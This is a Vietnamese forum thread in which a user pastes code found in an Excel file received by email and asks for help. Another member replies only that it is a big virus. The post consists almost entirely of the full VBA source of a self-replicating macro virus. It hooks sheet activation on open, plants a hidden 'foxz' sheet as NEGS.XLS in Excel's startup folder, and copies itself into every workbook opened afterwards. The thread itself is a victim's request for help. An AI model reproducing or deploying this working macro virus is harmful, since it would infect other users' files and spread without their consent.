Xuất hiện code khi download file Excel từ email (như hình dưới), nhờ quý anh chị trợ giúp. Trân trọng cảm ơn.

Liên hệ QC

ngoivn

Thành viên mới
Tham gia
26/7/08
Bài viết
25
Được thích
1
'donwload NEG!!! NoMercyExcelGenerator form NoMercyPage!
'foxz@usa.net


Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
c$ = Application.StartupPath
M$ = Dir(c$ & "\" & "NEGS.XLS")
If M$ = "NEGS.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10

Select Case whichfile
Case 10
Application.ScreenUpdating = False
n4$ = ActiveWorkbook.Name
Sheets("foxz").Visible = True
Sheets("foxz").Select
Sheets("foxz").Copy
With ActiveWorkbook
.title = ""
.Subject = ""
.Author = ""
.Keywords = ""
.Comments = "infected by NEG Promo!"
End With
newname$ = ActiveWorkbook.Name
c4$ = CurDir()
ChDir Application.StartupPath
ActiveWindow.Visible = False
Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "NEGS.XLS", FileFormat:=xlNormal _
, Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
False, CreateBackup:=False
ChDir c4$
Workbooks(n4$).Sheets("foxz").Visible = False
Application.OnSheetActivate = ""
Application.ScreenUpdating = True
Application.OnSheetActivate = "NEGS.XLS!check_files"
Case 1
Application.ScreenUpdating = False
n4$ = ActiveWorkbook.Name
p4$ = ActiveWorkbook.Path
s$ = Workbooks(n4$).Sheets(1).Name
If s$ <> "foxz" Then
Workbooks("NEGS.XLS").Sheets("foxz").Copy before:=Workbooks(n4$).Sheets(1)
Workbooks(n4$).Sheets("foxz").Visible = False
Else
End If
Application.OnSheetActivate = ""
Application.ScreenUpdating = True
Application.OnSheetActivate = "NEGS.XLS!check_files"
Case Else
End Select
End Sub
 
Một con virus to tướng.

 
Upvote 0
Web KT

Bài viết mới nhất

Back
Top Bottom